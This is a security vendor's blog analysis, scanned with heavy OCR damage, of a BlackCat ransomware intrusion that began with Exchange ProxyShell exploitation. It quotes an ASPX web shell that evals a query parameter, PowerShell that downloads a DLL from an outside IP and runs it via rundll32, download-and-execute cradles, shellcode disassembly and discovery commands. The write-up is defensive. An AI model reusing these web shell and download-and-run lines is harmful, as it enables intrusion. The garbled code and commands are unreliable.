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Ransomware

We recently investigated a case related to the BlackCat ransomware group using the Trend Micro Vision One™
platform, which comes with extended detection and response (XDR) capabilities. BlackCat (aka AlphaVM or
AlphaV) is a ransomware family created in the Rust programming language and operated under a ransomware-as-

a-service (RaaS) model.

We recently investigated a case related to the BlackCat ransomware group using the Trend Micro Vision One™
platform, which comes with extended detection and response (XDR) capabilities. BlackCat (aka AlphaVM or

AlphaV) is a ransomware family created in the Rust programming language and operated under a ransomware-as-

a-service (RaaS) model. Our data indicates that BlackCat is primarily delivered via third-party frameworks and
toolsets (for example, Cobalt Strike) and uses exploitation of exposed and vulnerable applications (for example,

Microsoft Exchange Server) as an entry point.

BlackCat has versions that work on both Windows and Linux operating systems and in VMware’s ESXi

environment. In this incident, we identified the exploitation of CVE-2021-31207. This vulnerability abuses the
New-MailboxExportRequest PowerShell command to export the user mailbox to an arbitrary file location, which

could be used to write a web shell on the Exchange Server.

In this blog entry, we discuss the kill chain used by the malicious actors behind this incident and how we used the
Trend Micro Vision One platform to track the threats involved in the incident. We also dive deeper into the notable

post-exploitation routines that were used until the host’s encryption.

Finding the threats

We begin with the Trend Micro Vision One platform, where we noticed an incident being created in the Vision
One console with a few workbenches related to it. Upon checking, we noticed several suspicious web shells being
dropped on the local Microsoft Exchange Server. Based on that information, we started the analysis of the

Exchange Server.
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Figure 1. The incident view created by Vision One

We first noticed that ASPX files, normally dropped after ProxyShell and ProxyLogon exploitation, were dropped
and detected (Backdoor. ASP.WEBSHELL.SMYXBHG5A) in the affected machine. This type of ProxyShell
exploitation usually involves three vulnerabilities: CVE-2021-34473, CVE-2021-34523, and the previously
mentioned CVE-2021-31207. The first two were patched in July 2021, while the last one was fixed in May 2021.

Successful exploitation of these vulnerabilities could lead to arbitrary writing of files that an attacker could abuse

to upload web shells to a target Exchange Server. In this engagement, we determined that CVE-2021-31207 was

being actively exploited.

The exploitation is performed by importing a web shell as an email inside the user draft mailbox. It is then
exported to c:/inetpub/wwwroot/aspnet_client/{5-random-digit}.aspx. Upon analysis of the infected host, we

identified several web shell variants used by the malicious actors.

caelnibmerbzxweom
To:  ad_sync

hello darkness my old friend

Type Attachment
File FileAttachment.txt

Figure 2. The email saved in the drafts folder
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Figure 3. The ASPX files as shown on the Vision One workbench

A web shell is a piece of code written in web development programming language, such as ASP or JSP, that
attackers could drop onto web servers to gain remote access and the ability to execute arbitrary code and

commands to meet their objectives.

We discovered that the web shell employed in the attack uses the exec_code query parameter to execute the

desired command.
<script language="]5cript”™ runat="server" Page aspcompat=true>
function Page lLoad(){
eval(Request["exec_code"],"unsafe™);
1
<fscript>

Figure 4. A snippet of web shell content

Once a web shell is successfully inserted into the victim’s server, it could allow remote attackers to perform
various tasks, such as stealing data and dropping other malicious tools. In this engagement, we saw the Internet
Information Services (IIS) process (w3wp.exe) spawning a PowerShell process that downloaded a Cobalt Strike
beacon (detected as Backdoor.Win32.COBEACON.OSLJDO).

£

powershell axe

Figure 5. The IIS process w3wp.exe spawning a PowerShell process
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The PowerShell method WebClient.DownloadFile was used to download a DLL file from the IP address

5[.]255[.]100[.]242. After the download, the DLL was executed using rundll32.exe to call the exported function
ASN1_OBJECT_create.

SWebClient=New-Object
System_MNet. WebClient
SWebClient DownloadFile["http:/f5.255. 100

242 flibeay32 dii","C-\windows\debug\libeay3
2. dir"} rundil22
Chwindows\debug\libeay32 dil ASN1_OBJECT

_create

Figure 6. The PowerShell command used to download the DLL

Upon further investigation, we discovered that the DLL, libeay32.dll, was a tampered version of a known DLL
normally used by OpenSSL and by other programs to help with SSL communication. The malicious actors
modified an exported function of the DLL to host a Cobalt Strike stager shellcode. The DLL was using a nonvalid
certificate that belonged to the video communications company Zoom and was issued by GoDaddy.

e I e

e R i
= | ==
| = v
=-r : " W i l:-
Figure 7. The libeay32.dll certificate

......

Figure 8. The libeay32.dll issuer
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Once executed, the exported function (ASN1_OBJECT _create) works as a loader for a classic Cobalt Strike stager
shellcode. Although this function contains a lot of code, most of it is just junk code containing useless operations.
What it really does is simply allocate memory using Virtual Alloc, copy a nonencrypted shellcode to the allocated
region, and then transfer the execution to it. The shellcode then decrypts another shellcode, which is the Cobalt

Strike stager shellcode.

] B1CT EEMDOALD add &di , I60AIOEE
. L8 DEMO300 call Tibeayil. 100A8AAL
. &TE XChg oAx, 651
® BIC1 TERIGFLE add ecx, IREFRITE
- 45 ing esd
Ll 33FD =g edi,ebp
Ll F TG nat esd
- 3308 xor &bx, 2a%
- B335 BE3C1Z10 add esd,dword ptr d:: [10423C8E]
] 18 xor &b, Bax
] FTDE not esi
L] 3IFD xor &di ebp
L] 4E dec esi
- B1E% TESZBFLE sub ecx, 1IBEFA3TE
- SFNG XL [ L =3
® 06 CEFAFAFE Tibaayi2. 10020000
- S1EF EEMDOALD sub edi, 20DAI00E
L €10 a5 rel &ax, s
L 48 deg eax
e S1F0) GIBIGEST X EAN, 4FEERIGT

[E1F, # FFOD | €8l eax
- 3135 BO331Z10 xor dword ptr d=: [10023380] ,e51
- EB S29GFEFF €Al 1ibeay3z. 10038269
- F DA neg edw
L] B1C1 93DECI6E add ecx, 6830693
- dec edx
& CI1CF 0% ror &di .5
] ¥ XChg eON, sax
. [ AASEOL00 Tibeayia. 10086204
" 43 g edx
- BlCh AR4TEDTE add esi, TESD4TAS
w1 BTF3 | xeha ebx . e8i

i
m--ektrne'i:!.virtu\lh'l'lnnl

Figure 9. Virtual memory being allocated for the first shellcode

& LOOGEECE ES SADBFEBFF cCaml 11Deay32. LOOLFAZD

e 1L00GEED3 C1CT 1A rol edi,la

& | 1006EEDG 2900 1D351210 sub dword ptr ds:[1012351D], ecx
& | LOOBEEDC B1EB D1A25506 sub &ax,DES5A2D1

o L00GEEEZ EE DCTAFSFF call Vlibeay32.10005FF3

o | LOOGEEET BTF7 xchg edi,esi

o LOOGEEED FrD7 not edi

o L006EEEB C1CE 18 ror es51,18

e LO0OGEEEE 2900 D5341210 sub dword ptr ds:[101234D8],ecx
o | 1006EEF4 0305 CBIF1210 add eax,dword ptr ds:[10123FCB]
o | LOOGEEFA FFDF ncg edi

o | LOOEEEFC 2B0D SC3IFL1210 sub ecx,dword ptr ds:[10123Fa3C]
&) LOOGEFD2 FTD8 l'Itg [ 5§

& || LOOBEFD4 B1F3 OSC79521 Xor ebx,2195C705

& || LODBEFOA 4E dec esi

® | LO0GEFOB E& F4B2FAFF call 1ibeay32. 10015204

e LO0GEF10 46 inc esi

o 1006EF11 81F3 0O5CT9521 Xor ebx,21395C705

& LOOGEF 1T FTDB neg eax

& 1008EF1D FTDF I'Ieg adi

& | 1006EF 1B 3110 43371210 sor dword prr ds: [10123743], ebx
o 1006EF21 C1CE 1B rol esi,1s

| LOOGEF24 FTD7 not edi

# || LOOGEFZ6 BTF7 xchg edi,esi

o || LOOGEFZE B1C0 D1AZS5D6 add eax,DESSAZDL

& | LOOGEF 2E CI1CF 1A ror edi,la

& L00BEF31 EE 3SBSFOFF €A11 1ibeay32. 10047 46F

# || LOOGEF 36 €19 o2 ror ecx,2

& | 1006EF 39 2BC4 Sub eax,esp

ke ~ FFED imp eax

L] 3305 1E3B1210 xor eéax,dword ptr ds: [10123B81E]
-~ e xor_dwornd prr ds: RS

Figure 10. Execution being transferred to the first shellcode
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L] FC cld

L] E& 59000000 call 13corrs4

- G0 pushad

L] BOES mov ebp,esp

L] 3102 xor edx,edx

. G4:BB52 30 mov edx,dword ptr [Jl: [edx+30]
- BESZ OC mov edx,dword ptr ds:[edux+C]
L] BB52Z 14 moyv edx,dword pTtr ds:[edux+14
- BE72 28 mov esi,dword ptr ds:[edu+28
- OFBT4A 26 movzx ecx,word ptr ds:[edx+2E]
L] 31FF xor edi,edi

L] 31C0 XOr eax,eax

L] AL lodsb

L] 3C 61 cmp al, 61

L] w JC D2 j'l 13CO70C

L 2C 20 sub al,z2o0

H CI1CF oD ror edi,D

L] 01CT add edi,eax

. ~ E2 FO loop 13CO703

L 52 push edx

- 57 push edi

L] BBSZ 10 mov edx,dword ptr ds:[edsx+10
L] 8842 3C mov eax,dword ptr ds:[eds+3C
L] 0100 add eax,edx

. BB40 7B mov eax,dword ptr ds:[eax+78]
L] B5CO TEET &ax, 8ax

L] = T4 24 jE 13CO76E

- 0100 add eax,edx

. 50 push eax

. BE4B 18 mov ecx,dword ptr ds:[eawx+183
L] BBEE 20 mov ebx,dword ptr ds:[eax+20
L] 0103 add ebx, edx

L] « E3 3C jeckz 13CO76D

- 49 dec ecx

L] 8B3488 mov es1,dword pTtr ds:[ebx+ecx4]
L] 0106 add esi,edx

L] 31FF xor edi,edi

L] 31co XOr £ax,eax

- AL lodsb

- C1CF 0D ror edi D

L] o1cT add edi.eax

Figure 11. Decrypted Cobalt Strike stager shellcode

The stager performs an HTTP GET request to a remote server mimicking a normal jQuery request to the path
/jquery-3.5.1.slim.min.js. The shellcode then reads the server response, allocates memory also using the
VirtualAlloc function, copies the downloaded content to the allocated region, and then transfers the execution to a

hard-coded offset within the downloaded content.

Because of the way malleable command-and-control (C&C) stagers work, the behavior depends on the content
being downloaded. During our research, we were not able to collect the payload from the remote server. However,
using the Vision One platform, we collected enough information to be able to state that the downloaded payload

managed to spawn the WerFault.exe process and inject into it the system to host another Cobalt Strike beacon.

It should be noted that all the following activities described in this blog post were performed by the injected

WerFault.exe process.

While using the Vision One platform, we identified the C&C server used by the malicious actors.
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rundll32.exe

Figure 12. The Cobalt Strike beacon C&C server as shown in the Vision One console
The spawned WerFault.exe process generated the following activities:

e Discovered accounts (account discovery technique)

e Dropped and executed the NetScan tool

e Dropped and executed the Bloodhound tool

» Dropped the CrackMapExec tool

» Dropped other versions of the tampered DLL to remote machines (lateral movement)

» Executed the PowerShell version of the Inveigh tool
The following commands were executed for account discovery:

e net group “Domain Admins” /DOMAIN
e net group “Domain Controllers” /DOMAIN
e net group “Enterprise Admins” /DOMAIN

e systeminfo
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net group "Doman Admims® /DOMAIN

net group “Domain Controllers™ MMOMAIN

niet growp “Enterprse Admins® /DOMAIN

Figure 13. The account discovery commands

The NetScan tool was dropped on the file path C:\Windows\debug and used to scan the network (network

discovery activities). The same directory was also used to drop other tools and samples described in this blog post.

The NetScan tool, created by SoftPerfect, is capable of pinging remote computers, scanning ports, and discovering
shared folders.

Figure 14. The network scanning tool execution

After the initial account discovery, the BloodHound tool was dropped. This tool allows the analysis of Active

Directory (AD) rights and relations. Using the collected data, BloodHound maps out AD objects such as users,

groups, and computers, and then accesses and queries these relationships.
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SharpHound Collected Files

Highlights

Detection of SharpHound Collected Files
- Archive Colled Data

- Diata from Loca

13032 9_BloodHound zip
23109 _ous json
203 19 _QIOUpEJSon
2020303223109 _domains json
202 223109_gpo
LSO 20303223109 computers.json

03223109 _users json

Figure 16. Data extracted using BloodHound

CrackMapExec (aka CME) is a post-exploitation tool that abuses built-in AD features and protocols to achieve its
functionality. Its capabilities include auto-injecting Mimikatz, shellcode, and DLLs into memory using
PowerShell, and dumping NTDS.dit. The malicious actors tried to use the tool to dump credentials and conduct

lateral movement through the network (detected as HackTool.Win32.Mpacket.SM).

T i:ﬂl_l{u-uu R

i:r.r.km.IpE:ec PrX.. 8

CAWindowsdebugh \or aCkomape e e

Figure 17. The CrackMapExec execution
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The spawned WerFault.exe process was also responsible for spreading other tampered versions of libeay32.dll to

other machines across the environment via SMB.

libeay32.dIl

beay 1750
A ko g Uy 17

AT TR 19 T s B e ST 06

Figure 18. WerFault.exe used to drop the libeay32.dll across the environment

Inveigh is a cross-platform .NET IPv4/IPv6 machine-in-the-middle penetration-testing tool. It can conduct
spoofing attacks and NTLM challenge/response captures via SMB service. The information is captured through
both packet sniffing and protocol-specific listeners/sockets. In this incident, the PowerShell version of Inveigh

was used to spoof the mDNS (multicast DNS) and NBNS (NetBIOS Name Service) protocols.

ypass -EncndedCommand SOERRgALAAOAEL
EX [Mewr-Obsjerct Mot Webclont]. DownloadString [ Hitpc/127.0.0.1:39556/; |
IEM [Phew-Cipect

5330¥edad4E

alidbaSdf 1%

MBNS Y -HTTPS Y -Promy ¥
BS2d67a2 Tod

Figure 19. The Inveigh command being executed

BlackCat execution

Before the execution of the BlackCat ransomware, we identified suspicious batch scripts being used by the

malicious actors to prepare the environment for encryption.

A file named spread.bat was created, and the following PowerShell command was used to execute the spread.bat

file. It should be noted that we could not collect the .bat file to verify its content.

powershell -nop -exec bypass -EncodedCommand
LgBcAHMACcAByAGUAYQBKAC4AYgBhAHQAIABtAGsAcwBoAGEAcgBIACAAUgBFAEEARAA=

The Vision One platform decoded the command, resulting in the code shown in the following figure.
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powershell -nDp e Dypass F recredbescdC ormimanad | i B ML H'\' Al

Vupread bat micchare READ

Figure 20. The code generated after decoding the command used to execute spread.bat

Another batch file, 123.bat, was executed. As with the previous batch file, we could not collect it to analyze its

content.

To execute the sample, a token is required to avoid automated sandbox analysis. However, any provided token can
bypass the restriction and enable the malware execution. The ransomware also supports other commands, which

can be obtained via the -h or --help parameters.

Figure 21. The BlackCat help command output

The malicious actors used SysVol Share to host the BlackCat sample that was executed across the environment.
This approach was used because the contents of SysVol Share are replicated across all domain controllers in the
Windows Server domain, meaning that all machines will be able to access it. A copy of the sample was also
dropped locally on the C:\Windows\debug folder.

B appexe

Profile

Binary File Dropping In SysViol Share

app.exe

. indows\SYSVOL\domain\scripts\app.exe
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Figure 22. The BlackCat binary that was dropped in SysVol Share

File permissions were changed using icacls.exe, a command-line utility that can be used to modify NTFS

permissions, as well as net share commands.

Windows\System 3 \aca

cacls c\windows\debug\app /grant "Authenticated Users :(OINCIF /T

Figure 23. Permission granted through icalcls.exe

net share app=c\windows\debug\app /granteveryone. REAL

Figure 24. Permission granted through net share commands

After preparing the environment, the malicious actors proceeded to execute the ransomware. Upon execution,

BlackCat performs the following tasks:

e Query the system UUID using wmic.

e The universally unique identifier (UUID) is later used, together with the token, to identify the victim in a
Tor website hosted by the malicious actors.

e Delete volume shadow copies.

e Use BCDedit to disable recovery mode.

e Increase the number of network requests that the server service can perform.

e This allows the malware to access enough files during the encryption process.

o Stop the IIS service using the iisreset.exe, a well-known tool used to handle IIS services.

o Execute arp command to display current ARP (Address Resolution Protocol) entries.

» Execute Fsutil to allow the use of both remote and local symlinks.

e Clear all event logs via wevutil.exe.

Once these tasks are finished, the target files are encrypted, and a 7-random-digit extension is added to the files.
The ransom note (detected as Ransom.Win32.BLACKCAT.B.note) is then dropped. It informs the victim that their

data has been stolen and instructs them to access a Tor onion domain.

Figure 25. The BlackCat ransom note
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BlackCat samples, which are immediately detected by Trend Micro Predictive Machine Learning, are detected as
Ransom.Win32.BLACKCAT.YXCCY.

Conclusion and security recommendations

This investigation gave us the opportunity to learn more about the BlackCat infection chain. It highlights the
continued evolution of threats that are designed to evade detection. Notable capabilities and characteristics we

observed included evasive tactics, such as masking a tampered DLL to make it seem legitimate.

Organizations should take note of the continuing trend among malicious actors of using Cobalt Strike in attacks,

living-off-the-land binaries (LOLBins), and red team or penetration-testing tools to blend in with the environment.

For organizations, a good patch management protocol can help prevent the exploitation of vulnerable internet-
facing servers. Early containment and mitigation are also essential to cut off more damaging attacks that
compromise environments and deploy ransomware. In this case, close monitoring of the system and prompt

detection could have prevented all that was described here from coming to pass.

In analyzing and correlating ransomware attacks, the use of multilayered detection and response solutions such as
Trend Micro Vision One can provide powerful XDR capabilities that collect and automatically correlate data
across multiple security layers — email, endpoints, servers, cloud workloads, and networks — to prevent attacks

via automated protection, while also ensuring that no significant incidents go unnoticed.
A list of the indicators of compromise (IOCs) for this case can be found here.
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